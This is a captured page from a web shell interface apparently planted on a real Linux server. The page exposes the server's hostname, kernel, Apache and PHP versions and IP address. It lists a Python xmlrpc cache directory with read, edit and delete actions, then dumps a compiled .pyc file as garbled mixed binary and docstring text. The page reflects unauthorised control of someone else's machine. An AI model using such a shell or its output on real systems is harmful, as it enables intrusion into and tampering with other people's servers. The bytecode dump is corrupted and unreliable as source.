x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/python3.6/xmlrpc/__pycache__/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__init__.cpython-36.opt-1.pyc 0.112 KB -rw-r--r-- 2024-09-24 14:12 R E G D
__init__.cpython-36.opt-2.pyc 0.119 KB -rw-r--r-- 2024-09-24 14:11 R E G D
__init__.cpython-36.pyc 0.112 KB -rw-r--r-- 2024-09-24 14:12 R E G D
client.cpython-36.opt-1.pyc 33.704 KB -rw-r--r-- 2024-09-24 14:12 R E G D
client.cpython-36.opt-2.pyc 28.4 KB -rw-r--r-- 2024-09-24 14:11 R E G D
client.cpython-36.pyc 33.846 KB -rw-r--r-- 2024-09-24 14:12 R E G D
server.cpython-36.opt-1.pyc 28.793 KB -rw-r--r-- 2024-09-24 14:12 R E G D
server.cpython-36.opt-2.pyc 17.926 KB -rw-r--r-- 2024-09-24 14:11 R E G D
server.cpython-36.pyc 28.888 KB -rw-r--r-- 2024-09-24 14:12 R E G D
REQUEST EXIT
3 /fK@sdZddlmZmZmZmZmZddlmZddl Z ddlZ ddl Z ddl Z ddl Z ddlZddlZddlZddlZy ddlZWnek rdZYnXd*ddZdd ZGd d d ZGd d d eZGddde jeZGdddeZGdddeZGdddejZGdddZGdddeZGdddeeZ GdddeeZ!e"dkrddl#Z#Gdd d Z$ed+~Z%e%j&e'e%j&d#d$d%e%j(e$dd&e%j)e*d'e*d(y e%j+Wn(e,k re*d)e j-dYnXWdQRXdS),a XML-RPC Servers. This module can be used to create simple XML-RPC servers by creating a server and either installing functions, a class instance, or by extending the SimpleXMLRPCServer class. It can also be used to handle XML-RPC requests in a CGI environment using CGIXMLRPCRequestHandler. The Doc* classes can be used to create XML-RPC servers that serve pydoc-style documentation in response to HTTP GET requests. This documentation is dynamically generated based on the functions and methods registered with the server. A list of possible usage patterns follows: 1. Install functions: server = SimpleXMLRPCServer(("localhost", 8000)) server.register_function(pow) server.register_function(lambda x,y: x+y, 'add') server.serve_forever() 2. Install an instance: class MyFuncs: def __init__(self): # make all of the sys functions available through sys.func_name import sys self.sys = sys def _listMethods(self): # implement this method so that system.listMethods # knows to advertise the sys methods return list_public_methods(self) + \ ['sys.' + method for method in list_public_methods(self.sys)] def pow(self, x, y): return pow(x, y) def add(self, x, y) : return x + y server = SimpleXMLRPCServer(("localhost", 8000)) server.register_introspection_functions() server.register_instance(MyFuncs()) server.serve_forever() 3. Install an instance with custom dispatch method: class Math: def _listMethods(self): # this method must be present for system.listMethods # to work return ['add', 'pow'] def _methodHelp(self, method): # this method must be present for system.methodHelp # to work if method == 'add': return "add(2,3) => 5" elif method == 'pow': return "pow(x, y[, z]) => number" else: # By convention, return empty # string if no help is available return "" def _dispatch(self, method, params): if method == 'pow': return pow(*params) elif method == 'add': return params[0] + params[1] else: raise ValueError('bad method') server = SimpleXMLRPCServer(("localhost", 8000)) server.register_introspection_functions() server.register_instance(Math()) server.serve_forever() 4. Subclass SimpleXMLRPCServer: class MathServer(SimpleXMLRPCServer): def _dispatch(self, method, params): try: # We are forcing the 'export_' prefix on methods that are # callable through XML-RPC to prevent potential security # problems func = getattr(self, 'export_' + method) except AttributeError: raise Exception('method "%s" is not supported' % method) else: return func(*params) def export_add(self, x, y): return x + y server = MathServer(("localhost", 8000)) server.serve_forever() 5. CGI script: server = CGIXMLRPCRequestHandler() server.register_function(pow) server.handle_request() )Faultdumpsloads gzip_encode gzip_decode)BaseHTTPRequestHandlerNTcCsJ|r|jd}n|g}x.|D]&}|jdr8td|qt||}qW|S)aGresolve_dotted_attribute(a, 'b.c.d') => a.b.c.d Resolves a dotted attribute name to an object. Raises an AttributeError if any attribute in the chain starts with a '_'. If the optional allow_dotted_names argument is false, dots are not supported and this function operates similar to getattr(obj, attr). ._z(attempt to access private attribute "%s")split startswithAttributeErrorgetattr)objattrallow_dotted_namesZattrsir/usr/lib64/python3.6/server.pyresolve_dotted_attribute{s     rcsfddtDS)zkReturns a list of attribute strings, found in the specified object, which represent callable attributescs*g|]"}|jd rtt|r|qS)r )r callabler ).0member)rrr s z'list_public_methods..)dir)rr)rrlist_public_methodssrc@speZdZdZdddZdddZddd Zd d Zd d ZdddZ ddZ ddZ ddZ ddZ ddZdS)SimpleXMLRPCDispatchera&Mix-in class that dispatches XML-RPC requests. This class is used to register XML-RPC method handlers and then to dispatch them. This class doesn't need to be instanced directly when used by SimpleXMLRPCServer but it can be instanced when used by the MultiPathXMLRPCServer FNcCs&i|_d|_||_|pd|_||_dS)Nzutf-8)funcsinstance allow_noneencodinguse_builtin_types)selfrrr rrr__init__s  zSimpleXMLRPCDispatcher.__init__cCs||_||_dS)aRegisters an instance to respond to XML-RPC requests. Only one instance can be installed at a time. If the registered instance has a _dispatch method then that method will be called with the name of the XML-RPC method and its parameters as a tuple e.g. instance._dispatch('add',(2,3)) If the registered instance does not have a _dispatch method then the instance will be searched to find a matching method and, if found, will be called. Methods beginning with an '_' are considered private and will not be called by SimpleXMLRPCServer. If a registered function matches an XML-RPC request, then it will be called instead of the registered instance. If the optional allow_dotted_names argument is true and the instance does not have a _dispatch method, method names containing dots are supported and resolved, as long as none of the name segments start with an '_'. *** SECURITY WARNING: *** Enabling the allow_dotted_names options allows intruders to access your module's global variables and may allow intruders to execute arbitrary code on your machine. Only use this option on a secure, closed network. N)rr)r!rrrrrregister_instances!z(SimpleXMLRPCDispatcher.register_instancecCs|dkr|j}||j|<dS)zRegisters a function to respond to XML-RPC requests. The optional name argument can be used to set a Unicode name for the function. N)__name__r)r!Zfunctionnamerrrregister_functionsz(SimpleXMLRPCDispatcher.register_functioncCs|jj|j|j|jddS)zRegisters the XML-RPC introspection methods in the system namespace. see http://xmlrpc.usefulinc.com/doc/reserved.html )zsystem.listMethodszsystem.methodSignaturezsystem.methodHelpN)rupdatesystem_listMethodssystem_methodSignaturesystem_methodHelp)r!rrr register_introspection_functionss z7SimpleXMLRPCDispatcher.register_introspection_functionscCs|jjd|jidS)zRegisters the XML-RPC multicall method in the system namespace. see http://www.xmlrpc.com/discuss/msgReader$1208zsystem.multicallN)rr'system_multicall)r!rrrregister_multicall_functionssz3SimpleXMLRPCDispatcher.register_multicall_functionsc CsyPt||jd\}}|dk r(|||}n |j||}|f}t|d|j|jd}Wntk r}zt||j|jd}WYdd}~XnNtj\}} } z$ttdd|| f|j|jd}Wdd}} } XYnX|j |jdS) aDispatches an XML-RPC method from marshalled (XML) data. XML-RPC methods are dispatched from the marshalled (XML) data using the _dispatch method and the result is returned as marshalled data. For backwards compatibility, a dispatch function can be provided as an argument (see comment in SimpleXMLRPCRequestHandler.do_POST) but overriding the existing method through subclassing is the preferred means of changing method dispatch behavior. )r N)Zmethodresponserr)rrz%s:%s)rrxmlcharrefreplace) rr _dispatchrrrrsysexc_infoencode) r!datadispatch_methodpathparamsmethodresponsefaultexc_type exc_valueexc_tbrrr_marshaled_dispatchs&   z*SimpleXMLRPCDispatcher._marshaled_dispatchcCs^t|jj}|jdk rVt|jdr8|t|jjO}nt|jdsV|tt|jO}t|S)zwsystem.listMethods() => ['add', 'subtract', 'multiple'] Returns a list of the methods supported by the server.N _listMethodsr0)setrkeysrhasattrr?rsorted)r!methodsrrrr(s   z)SimpleXMLRPCDispatcher.system_listMethodscCsdS)a#system.methodSignature('add') => [double, int, int] Returns a list describing the signature of the method. In the above example, the add method takes two integers as arguments and returns a double result. This server does NOT support system.methodSignature.zsignatures not supportedr)r! method_namerrrr))s z-SimpleXMLRPCDispatcher.system_methodSignaturec Csd}||jkr|j|}nX|jdk rrt|jdr<|jj|St|jdsryt|j||j}Wntk rpYnX|dkr~dStj|SdS)zsystem.methodHelp('add') => "Adds two integers together" Returns a string containing documentation for the specified method.N _methodHelpr0) rrrBrFrrr pydocgetdoc)r!rEr8rrrr*6s"       z(SimpleXMLRPCDispatcher.system_methodHelpc Csg}x|D]}|d}|d}y|j|j||gWq tk rl}z|j|j|jdWYdd}~Xq tj\}}} z|jdd||fdWdd}}} XYq Xq W|S)zsystem.multicall([{'methodName': 'add', 'params': [2, 2]}, ...]) => [[4], ...] Allows the caller to package multiple XML-RPC calls into a single request. See http://www.xmlrpc.com/discuss/msgReader$1208 Z methodNamer7) faultCode faultStringNr.z%s:%s)appendr0rrJrKr1r2) r!Z call_listresultsZcallrEr7r:r;r<r=rrrr,Us$  z'SimpleXMLRPCDispatcher.system_multicallcCsy|j|}Wntk r"YnX|dk r4||Std||jdk rt|jdrd|jj||Syt|j||j}Wntk rYnX|dk r||Std|dS)aDispatches the XML-RPC method. XML-RPC calls are forwarded to a registered function that matches the called XML-RPC method name. If no such function exists then the call is forwarded to the registered instance, if available. If the registered instance has a _dispatch method then that method will be called with the name of the XML-RPC method and its parameters as a tuple e.g. instance._dispatch('add',(2,3)) If the registered instance does not have a _dispatch method then the instance will be searched to find a matching method and, if found, will be called. Methods beginning with an '_' are considered private and will not be called. Nzmethod "%s" is not supportedr0) rKeyError ExceptionrrBr0rrr )r!r8r7funcrrrr0ys(    z SimpleXMLRPCDispatcher._dispatch)FNF)F)N)NN)r$ __module__ __qualname____doc__r"r#r&r+r-r>r(r)r*r,r0rrrrrs  $   ) $rc@sfeZdZdZdZdZdZdZej dej ej BZ dd Z d d Zd d ZddZddZdddZdS)SimpleXMLRPCRequestHandlerzSimple XML-RPC request handler class. Handles all HTTP POST requests and attempts to decode them as XML-RPC requests. //RPC2ixr.Tz